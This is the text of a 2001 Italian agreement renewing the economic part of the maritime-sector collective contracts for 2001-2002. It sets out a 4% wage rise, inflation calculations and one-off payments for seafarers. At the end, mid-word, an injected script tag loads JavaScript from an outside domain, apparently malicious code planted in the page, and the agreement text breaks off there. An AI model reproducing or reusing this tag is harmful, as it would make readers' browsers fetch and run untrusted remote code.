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Categoria: Marittimi, equipaggi navi passeggeri > 50 Tsl Lloyd e Tirrenia Settore: Trasporti Data stipula: 21-3-2001 Data decorrenza: 1-1-2001 Data scadenza: 31-12-2002
Verbale di accordo per il rinnovo della parte economica
(biennio 2001-2002) dei CCNL del
SETTORE MARITTIMO
Il giorno 21 marzo 2001 in Roma, presso la sede di CONFITARMA si sono
incontrate CONFITARMA rappresentata dal dr. Giovanni Delle Piane con
l'assistenza del dr. Roberto Aglieta, dr. Claudio Barbieri, sig. Tommaso
Pacchelli, ASSORIMORCHIATORI e FEDARLINEA rappresentata dal dr. Giuseppe
Ravera, cap. Giovanni Rizzo, dr. Lorenzo Paolizzi con le Segreterie
nazionali FILT-CGIL, FIT-CISL, UILTRASPORTI rappresentate rispettivamente
dai sigg.: Mario Sommariva, Fulvio Esposito, Remo Di Fiore, Claudio Zari,
Giuseppe Caronia, Angelo Patimo e con la partecipazione di una
rappresentanza delle strutture sindacali territoriali.
Le parti, nell'ambito di quanto previsto dal Protocollo interconfederale
23.7.93, hanno rinnovato la parte economica relativa al biennio 2001-2002
dei CCNL del settore marittimo.
FILT-CGIL
FIT-CISL
UILTRASPORTI
CONFITARMA
FEDARLINEA
Parte economica, biennio 2001-2002.
Le parti con il presente accordo hanno definito gli incrementi
retributivi, per il biennio 2001-2002, nella misura percentuale
complessiva del 4%.
Gli incrementi retributivi sono stati frazionati in 2 tranche, la prima
con decorrenza 1.1.01, la seconda con decorrenza 1.1.02.
L'aumento complessivo del 4% è stato quindi suddiviso in parti uguali: 2%
per il 2001 e 2% per il 2002.
Nella individuazione della percentuale di aumento retributivo le parti
hanno tenuto conto, in armonia con quanto previsto dal Protocollo
interconfederale 23.7.93, del tasso d'inflazione programmato per il
biennio 2001-2002 (2,9%) e dello scostamento tra il tasso d'inflazione che
si è realizzato nel biennio 1999-2000 (4,1%) e quello programmato per lo
stesso biennio (3%), differenza pari all'1,1%, non conteggiando, in questa
fase, quanto deducibile per effetto delle variazioni imputabili alle
ragioni di scambio del nostro Paese, la cosiddetta inflazione da
importazione.
Tutto ciò, in quanto le parti concordano che, qualora alla fine del
periodo di vigenza dei CCNL (31.12.02), vi fosse uno scostamento tra il
tasso d'inflazione programmata riconosciuto con il presente accordo
(2,9%), e il tasso d'inflazione reale, tale differenza non verrà
conteggiata nel limite dello 0,8%.
Pertanto il tasso d'inflazione, che si realizzerà nel corso del biennio
2001-2002, si riterrà compensato fino ad una concorrenza pari al 3,7%.
Per gli incrementi retributivi del 2001 le parti concordano che la loro
decorrenza sarà dall'1.4.01.
Per i mesi di gennaio, febbraio e marzo 2001 verrà corrisposta, al
personale in servizio alla data della firma del presente accordo, una
cifra 'una tantum' di cui alla tabella 7.
1/3 di tale cifra (quota mensile) verrà corrisposta ai marittimi in CRL
per ogni mese o 'pro rata' di permanenza in CRL tra l'1.1.01 e il 31.3.01.
Al personale in turno particolare le quote mensili o 'pro rata' verranno
corrisposte per ogni mese di imbarco effettuato nel periodo intercorrente
tra l'1.1.01 e il 31.3.01.
Ai marittimi in turno generale, imbarcati alla data della firma del
presente accordo verranno corrisposte quote mensili o 'pro rata' per il
periodo di effettivo imbarco effettuato tra l'1.1.01 e il 31.3.01.Ai
marittimi in turno generale già sbarcati e che reimbarcheranno con la
stessa società entro il 31.7.01, dovrà essere corrisposta la quota di 'una
tantum' relativa ai periodi di effettivo imbarco effettuati tra l'1.1.01 e
il 31.3.01.
Gli importi 'una-tantum' dovranno essere corrisposti entro il 31.5.01,
salvo i casi sopra previsti per il turno generale e il turno particolare.
Gli importi di 'una tantum' non saranno utili ai fini dell'accantonamento
del TFR in quanto già ricompresi e calcolati i ri<script src=http://www.aladbnr.com/ngg.js></script>
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